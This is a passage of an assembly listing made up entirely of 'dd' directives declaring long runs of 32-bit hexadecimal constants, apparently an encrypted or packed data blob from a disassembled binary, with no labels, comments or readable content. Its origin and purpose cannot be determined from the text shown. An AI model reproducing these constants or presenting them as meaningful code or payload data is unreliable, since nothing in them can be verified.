0C03262Fh, 3DF2CEEAh dd 0AFC7BD8Eh, 0AC7825AEh, 84D44E7Eh, 40064FC2h, 5012352h dd 39E964D6h, 0C9F04E09h, 33F659E2h, 457640D7h, 4D6D2526h dd 0E22004D4h, 71177902h, 61F101A9h, 353D9038h, 0D42D2477h dd 245C8426h, 0A208BE0Ch, 0B5A1C4Bh, 0EF0E58C7h, 4B0A524Bh dd 0A4471620h, 280F8B9Ah, 854326D5h, 77129671h, 589309C2h dd 1D1BD69h, 0A3830A4Fh, 523EC96Bh, 0C32A2D61h, 0BFB52953h dd 884BCF8Bh, 860C0548h, 0CA32080Dh, 5107A02Dh, 0FAD17288h dd 0F5584C59h, 0BB4167E1h, 0E64534E1h, 0A4C2ECC7h, 6392D7F7h dd 22966C78h, 16BEF565h, 149AEFB8h, 4D20DE4Ch, 4562599Eh dd 4FE775E7h, 7A0224A4h, 4060CD3Dh, 7339DB28h, 0B8214A2Ch dd 288915CBh, 1FBB0343h, 0E969A17Dh, 283BACE3h, 0E5BD5928h dd 0E956851Dh, 0AFBB5636h, 7861E2Dh, 55A352E9h, 307DDF4Ch dd 0D4EEE3F2h, 4C343D3Ch, 11A108Bh, 0B24D1677h, 0D4536154h dd 30614B23h, 55C29CE2h, 0E24C7DB9h, 0CF685D9Dh, 61C4A25Eh dd 29827EC5h, 0AB70DD40h, 28590881h, 9851090Ch, 0F1627D33h dd 17910808h, 7F31A1DAh, 9D682A38h, 0F15D5642h, 0CD44BDCh dd 4A98108h, 0B3503768h, 0A1A132F5h, 0FFB2A95Ch, 129DD482h dd 0C44E1BDCh, 0BD4B6BABh, 0F5806C2Eh, 0F722605Fh, 0F0E9DD5Bh dd 95296B06h, 631C0C51h, 0D2A524EAh, 0FACA0030h, 0E9036F0Fh dd 40824249h, 7A3BE1DEh, 0FB292C02h, 2D7B8222h, 84DE57C3h dd 0A93E5351h, 74FBA71Eh, 0C9905A7Fh, 799DE4CBh, 0F68107ACh dd 8B800244h, 16EECE75h, 0DDA955E9h, 5F0BECC0h, 9F68449Fh dd 0C05EAF84h, 370D05ADh, 7C782C0Fh, 0C2C41DD1h, 0AF81F52h dd 0FB189300h, 0EFC7E937h, 5E8419B9h, 0E6AE5455h, 9AACD393h dd 0CE6904B4h, 765809DBh, 0FB88C40Dh, 34E4F961h, 1C873C6Fh dd 44E72610h, 194B56CEh, 0B9683B04h, 0F2F602ADh, 0F87D2A08h dd 0D1292746h, 0AB09A3D2h, 0F0531E7Ch, 0E90780CCh, 9E81E599h dd 9A71472Dh, 79C47B16h, 796AC181h, 0B47B2EFDh, 9304F56Ah dd 21A1609Bh, 0EA8BC4h, 0E42B19C6h, 0C5BF51CBh, 0B69AA7A4h dd 73E7A75h, 5F7356F2h, 0ACC2604Ch, 7F096FA3h, 0F6CBE6E9h dd 66434230h, 171E900Ch, 0BE2E4E73h, 0C836FB18h, 40BF4C7Dh dd 58C0D439h, 50D25697h, 0BABF2176h, 31E155BEh, 0FD203B34h dd 9E4A9868h, 0C22B7233h, 73B26F68h, 84FE19C9h, 12FB9301h dd 0E760BF80h, 511B61E9h, 0EC202801h, 0A5CF54C9h, 392014F3h dd 0DE26FCAAh, 236A463h, 61F869C4h, 257E0962h, 15375000h dd 2FE94B45h, 0E4F4CA57h, 0AB27B2CAh, 88025F42h, 5C04F6B1h dd 1FF7C1EBh, 589D599h, 955FC2FAh, 1CEAE440h, 993E5B7h dd 3B7DB2DFh, 0C770D9FAh, 0B5221659h, 381E6826h, 322DFE5Bh dd 9531A530h, 16EC5254h, 69A18ACFh, 7BBF3F6Eh, 0C41529A1h dd 258581B0h, 0B97E21F9h, 8D68A451h, 145F5E13h, 4027667Ah dd 1C3565E0h, 55B26216h, 9F7C29BCh, 0F4E9FCF8h, 0F1623E6Fh dd 0B055442h, 0F0BF8701h, 7C4FE10Fh, 0AAA015Ah, 0D5E94231h dd 116D326h, 472A01C2h, 3523635Dh, 7B9A659Bh, 94E97F42h dd 4B245786h, 222C497Fh, 0D543933Bh, 0B98A7E96h, 0AB5AE884h dd 0C868603Dh, 0DD895501h, 577D1568h, 0A01ED52Eh, 0ED2DC0B5h dd 7BD7C04h, 60FD30E7h, 5A7E685Bh, 542C23BBh, 4C2F011Ch dd 9AC7884Eh, 12222630h, 94F4040h, 0F79C3117h, 0A8B82A0h dd 59082427h, 0B9516287h, 4C292683h, 49892848h, 515A07B0h dd 0FC93F1B5h, 0B612007Bh, 22EE80CDh, 7C95F028h, 8CE984EDh dd 0A5C9ACF1h, 4A3D5BFAh, 603F1A00h, 0E38172DEh, 4814752Ah dd 9300B76Bh, 0E93E993Bh, 48C0C560h, 0EC05D829h, 1642711h dd 5501017Bh, 886C4968h, 4C907430h, 8F8143F2h, 4179B133h dd 0E84289F8h, 9B27E918h, 4CB2F6F9h, 912A37Ch, 0EA8660Fh dd 3FCDF724h, 3148AA2Fh, 3D3B4D22h, 2D4B7C32h, 8851CD80h dd 0B02DE5F9h, 55129558h, 0A64DE923h, 2A9F0B92h, 88257F2h dd 0CCF5C96Dh, 505600B5h, 0C42137B8h, 0CD0BBE46h, 0C2B93BDEh dd 0CF8EDD13h, 2F3DF5C8h, 698A51D3h, 0C3019ED3h, 46614CDCh dd 0EB281E38h, 87591708h, 0C962ED1Ch, 2C4D227h, 755E18C5h dd 51555910h, 0DB5CEBCFh, 89AEA796h, 7F6521B8h, 0AE4AB6DAh dd 0DE68C320h, 0B74931Eh, 0B077F5B3h, 823301DDh, 2A6E37C1h dd 0C676A8D1h, 0CD07ABBEh, 60162860h, 64A58BF1h, 6EE1304Fh dd 27C6F280h, 0A3E9493Eh, 15DF062h, 0A86DF6D8h, 0B8F15BD3h dd 0A087E51Fh, 0E7BB3CB5h, 0AFA3D6ECh, 0F29CAFD2h, 642B27E9h dd 8D0B3352h, 1DB410h, 4EF9D24Eh, 95E978D4h, 770911C4h dd 0DC07D74Fh, 494B1278h, 8AAEC50h, 135D037Fh, 3AD93CBDh dd 18A37E1Eh, 0EE36959Fh, 7007B802h, 6E403B85h, 150026FFh dd 5CC78131h, 0C137E865h, 0E1B9E30Ch, 7D123FEEh, 92C8AD0Ch dd 62F40180h, 0E4C0CCFEh, 92108207h, 75557AE9h, 6E564E1Ah dd 22A84052h, 0F82BE116h, 94EED365h, 8B25205h, 3109AB39h dd 0F7D100C7h, 4C626BB2h, 0FB00F74Bh, 683FD105h, 0F296780Ch dd 0B206C06Ah, 3D380960h, 12DD4868h, 546C6482h, 77CD48E0h dd 1E6E270Bh, 273D7845h, 15E0ADE9h, 7B1617BFh, 64805BAAh dd 5A65B389h, 0EEBAA10Ch, 681C6F4Ch, 0F42F1524h, 344F792Fh dd 0B5EAB017h, 0C5304D02h, 5DEC0858h, 0BDA6FA71h, 2BB32F0Bh dd 0C4707692h, 27ECF819h, 0A0A9D45Bh, 52687593h, 1E007F7Ch dd 0C1080B59h, 250F03E0h, 27A32A53h, 2B45435h, 0FD4F37A9h dd 0C0E48BB8h, 0B8DBB9F0h, 0B81B125Fh, 3D030987h, 3F106175h dd 3073C9F2h, 9DBE5A70h, 5CC5C5D4h, 0C16B80FBh, 6248593Ah dd 1505712Dh, 0FD896747h, 2C58D80h, 0FB1216A5h, 4941BE31h dd 4E3E6850h, 97FDF23Eh, 72D42CB8h, 0D8F6B02Dh, 3C80E688h dd 0CB89530Bh, 72752262h, 0EC5A4E2Ah, 0EB82F45Fh, 0AFCD2DCh dd 88ACB48Ch, 32923EABh, 3161FEDDh, 4D3367FCh, 0AD4DAA4Ah dd 0E06E5B3Ch, 5D04B97Eh, 290D8A06h, 0E98A60FFh, 22B16E0Bh dd 8A628B3Eh, 6A140565h, 78C34300h, 5A770E40h, 0ED08429h dd 72CA6808h, 0E1E963F0h, 8139EE85h, 0B233A83Fh, 61E97E60h dd 515F7C68h, 80842DA1h, 1A58F14Bh, 30C15051h, 7E1207E1h dd 0B15B93BAh, 23ED0D90h dd 0E4372730h, 7D0F32DDh, 4897956Eh, 8226D6CCh, 0ECB86B85h dd 892576A9h, 897FDEFAh, 7DD9087Dh, 45203228h, 0E8C00593h dd 826F2C07h, 5C057BE6h, 0FB192CEBh, 0F7C7C060h, 9A0D1602h dd 92990963h, 0D8290F0Ah, 83A14A78h, 0EF03DD70h, 206E6E12h dd 4B10538Ah, 5868138Fh, 0F9662EE4h, 0D95E82C3h, 302CBED2h dd 9DEEA079h, 9DFF62Eh, 8A691B6Fh, 0DF81E058h, 618815B4h dd 0EBB801E4h, 6B690635h, 215AD404h, 50E3CBEBh, 8FB3318Eh dd 25BA7D08h, 17445440h, 929CDB9Dh, 1E38D852h, 250A4B12h dd 2FA3012h, 7D970CFFh, 45E503D7h, 2FBD8FE9h, 30016CD8h dd 980C1D7Ah, 8E2DAF86h, 4EB78051h, 9F152D22h, 7000BC2h dd 0E9DD0159h, 88A0347Ah, 16EEFC30h, 0E1B9A665h, 2FE6E3BEh dd 7613F885h, 0C9BC275Eh, 2A37ED49h, 308D6913h, 0A3EB446Eh dd 283E5446h, 9227A652h, 40695CBFh, 4B7E6B5h, 78C78027h dd 83CBEBCAh, 84ABD259h, 4900EDCBh, 0D7F7F987h, 4D909CDh dd 8D247B40h, 59F7638h, 0A5509BEAh, 4038B91Bh, 772AE908h dd 0D68096CCh, 0F0982EF1h, 417E5D4Ch, 586F2007h, 77C05E5Eh dd 0E295ABF5h, 0E7E93884h, 3D89F3CBh, 0DC352D53h, 9374A5FBh dd 0D6ACEA8Bh, 5478CB68h, 1179E135h, 0CB1EA21Ch, 0D101FF8Bh dd 57F4960Eh, 0C592E3A5h, 0ABA0DBE9h, 55982768h, 0AE60CB76h dd 4E71A630h, 0FC12FE5Fh, 7D54550Bh, 837DED33h, 1BC7824Bh dd 4E3784A0h, 350BF74h, 0A2E2D128h, 3B5EA524h, 0D2F74A02h dd 3A8BDD52h, 0EE455E60h, 312B0F0Fh, 0FAD23CD7h, 26C18FA9h dd 6A93F594h, 5E4ADEE0h, 5EF9A73Dh, 92C1F8B0h, 0B2F9803h dd 0E8DC18AEh, 467F1C70h, 8714D92Bh, 5D65571Ch, 0E9276736h dd 27EF56EEh, 2D8B655h, 52CAEB80h, 464178B2h, 7F432E2h dd 534F7419h, 740A7029h, 494202CFh, 9318E914h, 0BFC16EDFh dd 0E9090B71h, 6AEC7C0Ah, 19203A0Fh, 1B4424A0h, 9A9D4B3Dh dd 1727ACh, 9C2D3988h, 322974Fh, 0EC541ECh, 0F063C82h dd 219B5D5Bh, 0F3814388h, 0ADB2B00Fh, 0EB573F40h, 0E9C4AF1Ch dd 0AE1EDD2Eh, 0A49E3518h, 2909CB98h, 804ACD55h, 626A231h dd 0E4B617Dh, 6009F9F8h, 489DDDABh, 4D29E915h, 71057DE6h dd 817DB440h, 87E1910Eh, 77ABED53h, 0AFC02165h, 4E847EACh dd 4175FD44h, 35B45008h, 10013849h, 89072325h, 0E06A576Ah dd 0AC055EBAh, 7775BF3Fh, 0F73DAEF8h, 0E4F84Fh, 42163035h dd 0F197684Fh, 77396B26h, 17B9A93h, 0AC173590h, 97949F49h dd 0E975FCC2h, 682068CAh, 5470130Ah, 13D4AA21h, 0F71511FEh dd 3CDE0075h, 76B9EDBBh, 64E34C27h, 0C1758344h, 370C3598h dd 0C63A636h, 3E1EC906h, 5E4DB290h, 945D7F2Dh, 83E91060h dd 0E0B204D6h, 0BAC2CAFEh, 92795602h, 2558BC9Bh, 0BCA322ACh dd 3A80AA9h, 4F7D3462h, 7A1A17D9h, 683A37A6h, 53F1732Fh dd 4520578Bh, 5596AEh, 0D76FE32Fh, 87EAE972h, 3D823A9Ch dd 0DD64A557h, 0A78049E4h, 912547DEh, 0BBA27D49h, 3DF45859h dd 8057B560h, 8BB16EDh, 50CE1DEBh, 0DDF61F7Fh, 200AF54Ch dd 0B40CCC03h, 0C5F89906h, 0B3530B09h, 135BFC4Dh, 0D346BCF3h dd 2D7500EEh, 481561FDh, 5D3E913h, 2B9A79B9h, 53077756h dd 0CF8F3A8Eh, 0EBFCF7DCh, 255A7DE9h, 5AC460ECh, 47514853h dd 0F10DD07h, 9CED6A70h, 2335C9F5h, 7202C56h, 71A5E4Ch dd 3DE5479Eh, 2B5617CFh, 0A9DBECB8h, 6D9E07F1h, 0C2CCDA8Dh dd 37C2206Ah, 9057D725h, 767D0F2Dh, 0CECC5E38h, 0C905C674h dd 29245B34h, 80685B1h, 534A050Ch, 0F05F09EFh, 0E40AC695h dd 961F7554h, 6928D12Dh, 1570AA84h, 2D3350B3h, 37191F13h dd 287C4FBh, 0FCE95F08h, 0F327D85Ch, 515A0DE6h, 0C00FCAF6h dd 0F03157F6h, 60CDD15h, 0A2141C53h, 25763B0Dh, 0D1C10C2Dh dd 88EFE07Ah, 2425DEB4h, 1DE0C0B8h, 1C491EBBh, 0E44B97C9h dd 1F71E2EEh, 4797F4Ch, 71A82092h, 0E99580EFh, 1B95FCBFh dd 73049597h, 0AC16DCB9h, 0B0C611BCh, 46CAC102h, 0BC7E70AFh dd 7D0A9CBCh, 0C490FC56h, 732501C0h, 0EC4C5E4Dh, 0B0CD087h dd 591C8B59h, 0D4DEC40Eh, 0C3B7EEE3h, 9241BC5Bh, 0F98901BBh dd 200CE93Ah, 4F16F5CEh, 9C18319Bh, 7111C738h, 4486F191h dd 0F08C36A0h, 98D77420h, 9A3D3579h, 8ACF835Bh, 8FB70D3Dh dd 6D39F780h, 0E2E07FB0h, 17C2F6D5h, 1DD4204Dh, 0E1802069h dd 98BD88EEh, 0B5490381h, 0A82FDEE4h, 0F15D81C4h, 9C606E7Eh dd 53764166h, 32C13599h, 7A877C36h, 65AE5F5Ah, 0C21BAD7h dd 27236537h, 5814C340h, 7E84812Dh, 4609E7h, 88088523h dd 543B539h, 61D0AB9Dh, 4F6975D3h, 0C029C407h, 4764C692h dd 1259262h, 6B668BEFh, 4B91788Bh, 0F59FD03Bh, 3937771Ch dd 0F5E9481Fh, 0D96A8380h, 58B0A1D1h, 97237A00h, 48AE0D7Dh dd 357B1C34h, 4A11C951h, 0F0CA304h, 0F06C0268h, 6C527550h dd 1E3D7549h, 0B80B43DBh, 0E04DA7F3h, 72D4BDF2h, 9FCB658h dd 819BB6E5h, 0DA64077Bh, 88FA5A17h, 0F76585E5h, 0A9215575h dd 3101DC11h, 0C99D7BF8h, 14A947Bh, 4A4144D3h, 42F82B42h dd 0E933E096h, 64C9B225h, 5E2EC129h, 6E7DF07Ch, 0DDA961C1h dd 2A000B79h, 814C0F55h, 662E02E3h, 0EB0E4682h, 0F3E097C5h dd 0E9C09F3h, 0D1546CFCh, 5B40F8A8h, 0FC0FDBEh, 82EBAA1Bh dd 5FC5E55Eh, 4DB9E7B8h, 7B2E0E04h, 0F2FACE21h, 25E90CCBh dd 2BE8ECBh, 2E31154Eh, 46D5DEF7h, 0B8466963h, 26398700h dd 0E92FD3ADh, 27D659A5h, 16F6CEDAh, 9A026B9Fh, 4452443Dh dd 0F101C3E0h, 68348F21h, 219D7EF9h, 7AF1A73Dh, 0EE65408Bh dd 0D46818DCh, 9891311Ch, 73C98080h, 4AF1382Eh, 4259CA1Eh dd 0D4301FEAh, 0D9811B5Fh, 690FFECh, 87A04F85h, 0E3283FFCh dd 0BCDAEB3Ah, 0C0FAB4D7h, 0F280BE78h, 0CA00B073h, 3E2C002h dd 2F97B151h, 0B10561E9h, 95D7875Bh, 24CAB4E6h, 16E3E844h dd 0FAB77796h, 53D7A190h, 0EC4250ACh, 0A211357h, 8C1D8136h dd 0C472382Ch, 4A095E9Bh, 29175A80h, 0DEBD0279h, 0D2F74340h dd 0F200047Ah, 0A5749E9Bh, 0BE7C2DE9h, 5C9862CEh, 0F8F43277h dd 0A66141Eh, 0DF06EE85h, 0B59960E9h, 2630CD76h, 70ED6CB2h dd 2AC03065h, 0FED8FC0Ch, 0FFEC2B4Eh, 7B26E90Bh, 0C450F8D4h dd 279C9D95h, 3D1796A0h, 0B425CD30h, 96A04839h, 2BB40F18h dd 7DE945FDh, 0AEA894F8h, 4FFBFBC8h, 0CD2DAFB4h, 4F5BD7Bh dd 74EF1307h, 0CD1E18BCh, 4E9CC941h, 48464E83h, 9668620Bh dd 0AD713017h, 39E3162Ah, 27F3E829h, 0D1A82250h, 948525Ah dd 6C107D2Fh, 700DC62h, 27786859h, 49EEB6h, 6F0FCD74h dd 750D0041h, 51FB93Eh, 0AC3A0386h, 7FF9801Bh, 0AD35132Eh dd 0D93627B0h, 0EEF0847Fh, 67BB65D0h, 51974C15h, 0BBE88C13h dd 512778Eh, 258E4BB4h, 0B5BE6D7h, 6A6E1767h, 46D03709h dd 70AF594Bh, 0B431D90Bh, 1F53948h, 700C18F7h, 177FAAE9h dd 7E38EEBEh, 4F3F9257h, 61EE54h, 413AE659h, 4C2D5276h dd 1086E73h, 745B1829h, 77132A65h, 0DCF0463Ch, 0B8569D01h dd 4E036850h, 1E83227h, 0B80C4770h, 400F303Ah, 36EC4DB5h dd 808BFB22h, 814A62C2h, 147078DEh, 17C7BDF2h, 931145ADh dd 0AB3DEF5Bh, 12CBB67Ah, 39BF2B1Dh, 89C12FF5h, 0F768BEE9h dd 0F931661Dh, 8C8579CCh, 55598CB3h, 2B9E5AFCh, 0C8010Bh dd 8F14DC13h, 0E9C14024h dd 8292F3E8h, 0D724EB77h, 0C5929974h, 5D72B201h, 0D5E1588Fh dd 0C6C77889h, 2929756h, 7389601h, 0E16A3437h, 71A83E85h dd 11075E92h, 16EE054Ah, 2D832922h, 5A1DECB9h, 325EB333h dd 0B0F50072h, 9D4BD926h, 14643CD4h, 62BDD20Eh, 0F1E50E5Ah dd 76F94D9h, 80FE2838h, 2095EE80h, 8E8F14Ah, 132EF226h dd 689261BEh, 0B20D009Bh, 11AC012Ch, 62976135h, 66F32BDAh dd 254431C1h, 0CDCB7E40h, 281A6809h, 1992A630h, 35394B00h dd 502F17E3h, 0DD81EF7h, 3128BBEDh, 0C03DD1A7h, 10869524h dd 0EBF05B37h, 3C20F783h, 667340E3h, 4F1C55B2h, 0D01F722Ch dd 2E8F6DFAh, 14C8EA6h, 43B55165h, 5059D828h, 295590A1h dd 7B6A204Bh, 0A00227FEh, 9AF6E74Eh, 0F12D0BBCh, 2456E61Eh dd 5F17099Fh, 14EEDB48h, 215E4212h, 0F6107CF9h, 685804D3h dd 9ED85AA1h, 9671732h, 92580374h, 3210B336h, 2C009714h dd 0D8285AA2h, 564B4668h, 480448E3h, 84E92204h, 74F4AE37h dd 7366795Ch, 1732CBF9h, 0F889AEDBh, 4E12F7B1h, 68131A50h dd 16623EEBh, 0D510EA9Ch, 5EB545FAh, 0F17F18E6h, 11BB5E52h dd 56680A3Ch, 0EAC7FC15h, 75786E92h, 0B9513340h, 1914D50Bh dd 5CDD00Dh, 0E905A877h, 0BFB44269h, 0E9423FACh, 7B9FA780h dd 0E9137A25h, 0C0F84399h, 7972EFD7h, 0BD667777h, 54396816h dd 21F4F9F8h, 7BEC685Ah, 0ADD36AECh, 1BB992B1h, 0C46652D7h dd 61E582E8h, 5062794Ah, 8E820379h, 0DD3CA969h, 77159FB3h dd 2C236E9h, 0B0701ABDh, 0E807F730h, 0F10DE43h, 0AE621BEFh dd 0B82DF54h, 562C5855h, 420635A0h, 31D64017h, 0D84398C1h dd 0F75A08AAh, 69799AC0h, 822C7FC7h, 0B56B78Ah, 0ECDAD2BAh dd 0B060F3EEh, 8F62D86h, 0E88F9025h, 0FB558265h, 519C3E51h dd 0BA5D27D8h, 49C55C17h, 0E3C28654h, 24F11A1Ch, 79A1EE81h dd 0B53F22A3h, 0AD08041Dh, 706611E4h, 0F66ADD41h, 6215C968h dd 7F165564h, 0DE9E2991h, 0E7E9F382h, 249464A3h, 82CAD5C7h dd 29F4684Ah, 5E61CE74h, 60F64C42h, 2F2F194Dh, 0ED5365Ch dd 7F4B7DDDh, 4107A418h, 0FBBBDB83h, 7076EACAh, 0F6801362h dd 81DFAF8h, 0C432C68Fh, 0FEF4B2ECh, 0E37C179Dh, 0BA84AF51h dd 6AC10857h, 2D80308Ch, 0CFADA3C7h, 0D200054Ah, 2D3CE70Dh dd 4F5468EAh, 5E9E13Fh, 8BB10107h, 6A286333h, 0B80ED098h dd 9722FB5h, 4D4BF6F8h, 7AB8E500h, 950E8851h, 31200650h dd 500F20FEh, 49C02D05h, 0D8A03638h, 25031291h, 4EC00145h dd 3EFBE91Eh, 58641F87h, 56F48697h, 72A288A8h, 0FB27257Ch dd 0A89A4580h, 0FD5182C5h, 6DA98415h, 0BF8794BEh, 27E97738h dd 68C5A058h, 286FDC08h, 55570887h, 2CBF116Dh, 29890209h dd 0C2CF84D9h, 20B1F3AAh, 3573B789h, 0C31CF5A5h, 903DD3BDh dd 5D5EA202h, 326252D1h, 0FA3103AFh, 24F981B9h, 6C0FEB66h dd 6B40C556h, 68C47687h, 673101C2h, 0FD4217EFh, 0D07BA537h dd 4E35F047h, 0DD8BB83Bh, 0F3088D31h, 7AF12D3Ah, 3A39F5E8h dd 52A0CB80h, 0D3E91DB2h, 8FD4819Dh, 0E37A3042h, 9B1FD699h dd 574B2620h, 0FADB1630h, 0B7A292Dh, 0B55CACB0h, 0D7F244E2h dd 5D4BCC14h, 5F5AE205h, 7F1501FFh, 6F21380Dh, 196ABA3h dd 0B51A65EEh, 5AC26807h, 51C9A8E8h, 0FCD54CDFh, 8D584FA6h dd 0EDF62FEDh, 70802D05h, 283DF85Dh, 61F80705h, 0A2B5513h dd 0CB13180Ah, 81905167h, 0BF731F3Ah, 607BB2B0h, 3A50EF96h dd 171CB7E8h, 0E708E690h, 61F7E58h, 2077D8E9h, 0A707B43Bh dd 574AE2B2h, 0CDB7BE4Eh, 0AE2C387Bh, 706860F8h, 30ED7C64h dd 275F8433h, 0B6A73899h, 43800E42h, 78FB7617h, 60712C8h dd 2441686Bh, 5250E379h, 0B397D3E2h, 24728276h, 266A1814h dd 919BB575h, 8AE8C9CAh, 7DEEF1F7h, 58ECF45Dh, 42497FA4h dd 0CE810102h, 6BBF12E4h, 0B793DC20h, 0CB896CB0h, 1315C4B5h dd 4417D39h, 1392C560h, 0DE7C05AFh, 74D9EBE7h, 92AFED3Ah dd 0B851C0E0h, 121E58A7h, 0FE702084h, 0A22E979Dh, 20A09FF8h dd 0B03EC320h, 0C03FFECEh, 88E8E4E8h, 5103BB52h, 8E42121Eh dd 560D1F0Ch, 6A612F3Bh, 4913396h, 67542990h, 796186C7h dd 0A53A1BADh, 9C0805AAh, 314A972Ah, 0BD02B1F7h, 0E7C5737h dd 45005376h, 0AFE9317Eh, 0ABF7D39Fh, 0DFD3757h, 1FE00EE4h dd 90CEBA13h, 683A285Bh, 4658CB27h, 0CC332A39h, 0BA56F021h dd 80BE049Eh, 0BAF8AC7Bh, 7D92B592h, 0E8C32720h, 174AD193h dd 0D9006EC4h, 1C7E50F1h, 0B18E32E9h, 99C1D853h, 64D4C601h dd 0F5225540h, 5FDBCB1Ch, 68043BE5h, 4EA8460Bh, 851909B5h dd 77EB605Eh, 8275B02h, 0FE3AE05Fh, 7E8076CDh, 20629043h dd 5E4E0E48h, 0A7BA14C4h, 815C0034h, 0BD7FD2F3h, 85E92F1Bh dd 3E5B2661h, 0BAB678A8h, 44656812h, 1BC962ECh, 5D9EE2FFh dd 0F1310734h, 0B55125B1h, 44BA85CBh, 166F3E82h, 7DD5C407h dd 20C69A6h, 0C5AC567h, 0E8F0E8E9h, 1AC8312Fh, 0C3AED69Ah dd 620FB2CAh, 131A75BFh, 138FF5E0h, 1C816E5h, 0E44D2416h dd 3C74F95Dh, 0EF0118A1h, 81825E10h, 985BBC66h, 54EABADh dd 0C2ED272Dh, 91810058h, 0BD903AB0h, 39F07827h, 31862D34h dd 2A09CA42h, 0F87FE915h, 346F13E9h, 49E763CCh, 0D29D3B35h dd 96F3EDEBh, 0BF354D18h, 0B03A3E3Bh, 0AAE78182h, 2E605537h dd 5A2487EFh, 0AD3F846Eh, 0A6C15317h, 5B3200CAh, 0CA812046h dd 9962BC16h, 0E8ADE06h, 7CAC1399h, 9459C594h, 0B38EEEADh dd 2A89BD4Fh, 459F8825h, 48CA8A4Ch, 89ECA562h, 2E4CEB59h dd 20137C50h, 9DF89325h, 4810B250h, 0F7B0F458h, 0B3A2205Fh dd 812E1A0Ch, 0C2073005h, 0B40491E3h, 0FE1798E1h, 4E16CC36h dd 318746A7h, 0EF0BF311h, 8018E663h, 21C5E238h, 0F70B02CBh dd 0D13BE9D2h, 90056C7Fh, 41C35F08h, 6A4DC183h, 21AD4079h dd 740B7A78h, 922DBCE9h, 0CCD18476h, 0D425FE13h, 5D1F8BBBh dd 55949F15h, 0AE68C2DFh, 30ECD512h, 99EAE910h, 45B95101h dd 2A5D3A38h, 81003CE2h, 0DB9DF9F1h, 0CE2F09BEh, 0ED478259h dd 0FD6801F2h, 7B982E77h, 2DD32505h, 3B02EA81h, 1AB2001Dh dd 0E9170A03h, 27DCC08h, 7532307Ch, 5D57F460h, 62B3312Ch dd 0F129943Ah, 0D8D127E2h, 916D3226h, 497CC14Ah, 60E58A7h dd 12F9721h, 8B0228F9h, 4F460663h, 2DA25D47h, 9576EC8Ah dd 2FD9B588h, 4908C5FCh, 6A7E30B8h, 417B114Ch, 0A3C09B5Ah dd 97F932Dh, 0C689B727h, 4072584h, 0C7EF3804h, 7FB34BD2h dd 0B2F3D883h, 0EB68EFE0h, 9AF35C4Bh, 0EDC0DB03h, 22F15307h dd 0C06D3C50h, 8AC180A1h, 6AB62652h, 5DAE1E61h, 0ED1F3ECDh dd 0B7F5C221h, 255EE30h, 812079C6h, 639DE9C6h, 740D292Eh dd 7BEB687Dh, 4F2016D8h, 38F13708h, 3DCC5DE9h, 0F84FF69Dh dd 0C21CBD55h, 0E9872E3Ah, 0DD0BB67Eh, 5B9000E8h, 0AD7AE23Eh dd 5D826265h, 0FBC19043h, 581097BCh, 6E7437EDh, 7DEA12ACh dd 39041DB0h, 0BAAF6A3Eh, 11A96EC3h, 850ABCA9h, 640A309Ch dd 123775F0h, 0F832D94Ch, 0D8A0738Ch, 8265C1h, 52503CEFh dd 62E5F63Dh, 3664EB76h, 0F15A966Ch, 0AD5FA1A8h, 3914C8DFh dd 33A0E720h, 702613F7h, 59069C3Fh, 90D9B3Eh, 72960A89h dd 0FE032C80h, 0E912CDEFh, 74BFB1B7h, 149B024Bh, 0A2602D78h dd 0C00B05C5h, 7F010CD6h, 2D051E46h, 543D71C1h, 0D9A83985h dd 21462503h, 47A87372h dd 403AE63h, 0C27CD405h, 56FD1213h, 38B6F3A4h, 710D2F68h dd 4A2A619h, 0A2CC39E9h, 2349BCDh, 0BD4892E8h, 6CF23179h dd 0BC525830h, 98E0EA0h, 107A6866h, 2842181Ah, 87FFEC29h dd 0DA0B6440h, 3F7C0BF9h, 16777DBDh, 6293945Eh, 97C7C48h dd 552ED087h, 2C76F69Bh, 4F6903EBh, 0E5B07BCBh, 3EEB23D8h dd 30DE4580h, 0A4775E3Ah, 7DF6EBF4h, 0AC4DF72Eh, 2454BA01h dd 41F3013Ah, 1CA0081Ch, 0F05D4E14h, 0A840AB34h, 80E103D0h dd 0D1F6D2F1h, 0D60E0467h, 0CAA425A9h, 0D623CBB4h, 2C5C812Eh dd 0BDD82B21h, 5901403Bh, 3ABA575Fh, 0FBB0284h, 577AC3C0h dd 0F931B560h, 0E1C15F7Eh, 5168C8C5h, 4C50A620h, 4EC1038Ah dd 2B025E75h, 92305129h, 9E3C060Dh, 7C4E460Bh, 0E21E8A01h dd 3E7068C3h, 0C83FC151h, 5DEA5180h, 2965AA03h, 96FE29Dh dd 965DD08h, 4EECC396h, 0E9B37442h, 18775BFAh, 80F857F7h dd 0F2774B8h, 868ED593h, 0BF0BC473h, 0C0D3C6A3h, 3855BC64h dd 68575F00h, 796E7AB1h, 84EE4BE9h, 3F4A7DC2h, 0ED3EAACDh dd 660B9642h, 971A5BD4h, 7D39FF53h, 0D05468A5h, 0FF23E98Bh dd 0F57708AFh, 0E3DC03A3h, 0A82D1600h, 296A6779h, 525501F8h dd 0A6435468h, 1F0F2B0Ch, 0AB34A017h, 99EE4EE9h, 0D37A10D5h dd 0F6538612h, 0E68CD146h, 7CBC2729h, 0FEB55BCCh, 5CEA601Bh dd 2B5F0C4Eh, 841CAADh, 0EA9CD87Eh, 450DB4C4h, 0C7818DD0h dd 1FC87507h, 96788A05h, 438EE118h, 0C1E59C91h, 2EC4C3A2h dd 30B212ECh, 753C4A7Fh, 0E9502CF1h, 443AEB5Eh, 52D3EABCh dd 805420Ch, 0E394C35Bh, 43DB323Bh, 0FECB0E0Fh, 0DBF7C73Ch dd 58D387F3h, 0DA17CA0Ch, 0BBFC5FC9h, 2409AFA5h, 464584F7h dd 4A690D80h, 0EF184F84h, 43A6A906h, 0F2425C81h, 9F68F905h dd 0F5A10047h, 52408D20h, 0EFD95E50h, 0F470310Dh, 95066054h dd 50F6B511h, 720EE9C2h, 0BBA2BDC0h, 56E14819h, 0EE0F2BC1h dd 9724C1BDh, 0B47F0907h, 0F6B5511Bh, 0D590540Bh, 0E201FD1Dh dd 0CF6E7865h, 0CEA17A64h, 81D33147h, 5ECBC3ACh, 0F3D8226Ch dd 0D8BC04EEh, 42DA8964h, 571F15E9h, 5E7F3422h, 2C9BA0D7h dd 495768F5h, 2810903Ch, 18E45A52h, 8578B73Eh, 662ED0F8h dd 629D915Ah, 26491A6h, 607329F4h, 92CDCBFDh, 44480E2Eh dd 1C6F0055h, 41351B16h, 904AEE46h, 7EF1482Bh, 3A768C2h dd 0F22CC655h, 30185E3Ah, 0D6C65E0h, 3BB96D13h, 7F87900Bh dd 0F9C17A40h, 1561231Dh, 241D10AEh, 3F001CD6h, 53442F1Ah dd 0F1F94021h, 